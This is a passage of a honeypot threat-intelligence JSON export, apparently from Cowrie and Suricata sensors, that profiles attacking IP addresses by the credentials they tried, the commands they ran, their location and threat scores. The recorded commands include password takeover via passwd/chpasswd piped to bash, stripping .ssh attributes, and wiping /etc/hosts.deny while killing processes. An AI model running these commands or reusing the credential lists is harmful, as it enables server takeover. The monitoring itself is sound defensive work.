        "trading123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"trading123\\nwz9g2x3Xdhpz\\nwz9g2x3Xdhpz\\n\"|passwd",
        "echo -e \"trading123\\nwz9g2x3Xdhpz\\nwz9g2x3Xdhpz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T21:08:31.125000+00:00",
        "last_seen_30d": "2026-03-23T21:32:17.751000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "173.254.230.2": {
      "attack_count": 119,
      "first_seen": "2026-03-09T11:21:29.855Z",
      "last_seen": "2026-03-09T11:41:04.734Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "cyber",
        "345gs5662d34",
        "angelica",
        "debian",
        "github",
        "posiflex",
        "rock",
        "root",
        "software",
        "story",
        "user8"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Angelica123!",
        "Qwer@2025",
        "Story123",
        "User8123",
        "github1234",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nLJPyUswbXljG\\nLJPyUswbXljG\\n\"|passwd",
        "echo -e \"12345678\\nLJPyUswbXljG\\nLJPyUswbXljG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T11:21:29.855000+00:00",
        "last_seen_30d": "2026-03-09T11:42:11.501000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "181.191.128.18": {
      "attack_count": 119,
      "first_seen": "2026-03-20T19:09:12.668Z",
      "last_seen": "2026-03-20T19:35:20.409Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "anna",
        "345gs5662d34",
        "a",
        "ftpsecure",
        "lq",
        "proradis",
        "sdtd",
        "user01"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "99999999",
        "Anna123!",
        "aa123456..",
        "password",
        "user011234",
        "yt741258"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Anna123!\\noVAnuZnGFAv4\\noVAnuZnGFAv4\\n\"|passwd",
        "echo -e \"Anna123!\\noVAnuZnGFAv4\\noVAnuZnGFAv4\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itaperuna",
      "asn": 266011,
      "as_org": "FABLINUXER CONNECT TELECOMUNICACOES",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T19:09:12.668000+00:00",
        "last_seen_30d": "2026-03-20T19:36:23.686000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "35.154.117.98": {
      "attack_count": 119,
      "first_seen": "2026-03-22T17:56:26.204Z",
      "last_seen": "2026-03-22T18:17:41.468Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "m1",
        "root",
        "345gs5662d34",
        "bruno",
        "cy",
        "kapsch",
        "ks",
        "maxim",
        "reza",
        "ubuntu"
      ],
      "passwords_attempted": [
        "password",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "admin2020",
        "brunopass",
        "changeit",
        "cy1234",
        "kapsch1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nDmzn8mmtE9Lj\\nDmzn8mmtE9Lj\\n\"|passwd",
        "echo -e \"password\\nDmzn8mmtE9Lj\\nDmzn8mmtE9Lj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T17:56:26.204000+00:00",
        "last_seen_30d": "2026-03-22T18:18:44.668000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "45.121.147.48": {
      "attack_count": 119,
      "first_seen": "2026-03-06T04:39:03.334Z",
      "last_seen": "2026-03-06T05:00:32.605Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "zomboid",
        "345gs5662d34",
        "anders",
        "bitrix",
        "maarch",
        "mexal",
        "obc",
        "patricia",
        "root",
        "user",
        "user2"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Bitrix123",
        "Obc123!",
        "Test2026!",
        "Zomboid123",
        "maarchpass",
        "password",
        "password123",
        "user1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Zomboid123\\nEThn4fP2OgMD\\nEThn4fP2OgMD\\n\"|passwd",
        "echo -e \"Zomboid123\\nEThn4fP2OgMD\\nEThn4fP2OgMD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T04:39:03.334000+00:00",
        "last_seen_30d": "2026-03-06T05:01:35.745000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "80.253.251.63": {
      "attack_count": 119,
      "first_seen": "2026-03-08T00:13:37.136Z",
      "last_seen": "2026-03-08T00:40:50.163Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "guest",
        "345gs5662d34",
        "abe",
        "bogdan",
        "maxim",
        "mslee21",
        "prashant",
        "root",
        "storage",
        "test",
        "test101"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Qq123456@",
        "Test101123!",
        "abe1234",
        "guest",
        "maxim1234",
        "qqq",
        "storage"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"guest\\nKdTj6pQ7m0p2\\nKdTj6pQ7m0p2\\n\"|passwd",
        "echo -e \"guest\\nKdTj6pQ7m0p2\\nKdTj6pQ7m0p2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:16:52.795000+00:00",
        "last_seen_30d": "2026-03-08T00:40:50.163000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "103.217.144.35": {
      "attack_count": 118,
      "first_seen": "2026-03-02T11:07:22.253Z",
      "last_seen": "2026-03-02T11:45:38.907Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123!@#aa",
        "3245gs5662d34",
        "345gs5662d34",
        "@123456",
        "Abc123456#",
        "Bingo@1993",
        "P@$$w0rd!",
        "P@ssword1!",
        "gaston",
        "google.com",
        "ivan123",
        "qazxsw"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:L21H8CsNHLiS\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:07:22.253000+00:00",
        "last_seen_30d": "2026-03-02T11:46:42.903000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "111.119.232.7": {
      "attack_count": 109,
      "first_seen": "2026-03-04T07:10:44.447Z",
      "last_seen": "2026-03-04T07:39:50.960Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW34er",
        "12121212",
        "12344",
        "1qazXSW@3edcVFR$",
        "Bingo@1993",
        "Gfhjkm123456",
        "Qweasd123!@#",
        "Qwerty@1",
        "parker",
        "test01",
        "testpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:10:44.447000+00:00",
        "last_seen_30d": "2026-03-04T07:40:51.668000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 40
      }
    },
    "68.183.94.236": {
      "attack_count": 108,
      "first_seen": "2026-03-04T00:33:53.447Z",
      "last_seen": "2026-03-04T01:00:56.559Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!Aa123456",
        "1qaz@wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "A100s200",
        "a1231231",
        "aa250566",
        "aaa000",
        "aaaa8888",
        "fast"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Xqjko8povP08\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:33:53.447000+00:00",
        "last_seen_30d": "2026-03-04T01:01:58.281000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 24
      }
    },
    "124.226.216.189": {
      "attack_count": 104,
      "first_seen": "2026-03-22T09:45:24.717Z",
      "last_seen": "2026-03-22T09:58:45.833Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "news",
        "345gs5662d34",
        "bitwarden",
        "celery",
        "cesar",
        "export",
        "root",
        "sandra"
      ],
      "passwords_attempted": [
        "!@#123qweQWE",
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Celery123",
        "Export123",
        "news",
        "sandra123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"news\\nQJdU14xrqByk\\nQJdU14xrqByk\\n\"|passwd",
        "echo -e \"news\\nQJdU14xrqByk\\nQJdU14xrqByk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137693,
      "as_org": "CHINATELECOM Guangxi Nanning IDC networkdescr: NanningGuangxi Province, P.R.China.",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T09:45:24.717000+00:00",
        "last_seen_30d": "2026-03-22T09:59:52.473000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 21
      }
    },
    "94.159.102.255": {
      "attack_count": 93,
      "first_seen": "2026-03-08T16:30:58.514Z",
      "last_seen": "2026-03-08T16:59:47.654Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "lyh",
        "admin",
        "auser",
        "passbolt",
        "real"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "1337",
        "3245gs5662d34",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nZophIkdiRjVW\\nZophIkdiRjVW\\n\"|passwd",
        "echo -e \"1234\\nZophIkdiRjVW\\nZophIkdiRjVW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215730,
      "as_org": "H2nexus Ltd",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T16:30:58.514000+00:00",
        "last_seen_30d": "2026-03-08T17:00:52.387000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 19
      }
    },
    "188.166.0.173": {
      "attack_count": 84,
      "first_seen": "2026-03-19T06:11:06.191Z",
      "last_seen": "2026-03-19T06:30:01.116Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "Password1",
        "admin",
        "admin123",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T06:11:06.191000+00:00",
        "last_seen_30d": "2026-03-19T06:40:07.948000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 37
      }
    },
    "210.104.95.169": {
      "attack_count": 58,
      "first_seen": "2026-03-02T00:01:49.996Z",
      "last_seen": "2026-03-02T00:28:47.973Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12345@Admin",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123!",
        "P@ssw0rd!!!!",
        "Qq000000",
        "admin_888",
        "passroot",
        "qqq",
        "teste1234@"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yecheon-gun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:01:49.996000+00:00",
        "last_seen_30d": "2026-03-02T00:29:48.611000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 58,
        "Suricata": 24
      }
    },
    "104.236.13.93": {
      "attack_count": 57,
      "first_seen": "2026-03-02T09:00:22.488Z",
      "last_seen": "2026-03-02T11:46:19.969Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "ubuntu"
      ],
      "passwords_attempted": [
        "sol",
        "solana",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:58:06.665000+00:00",
        "last_seen_30d": "2026-03-02T11:47:21.719000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 57,
        "Suricata": 33
      }
    },
    "64.23.252.110": {
      "attack_count": 49,
      "first_seen": "2026-03-10T23:08:33.168Z",
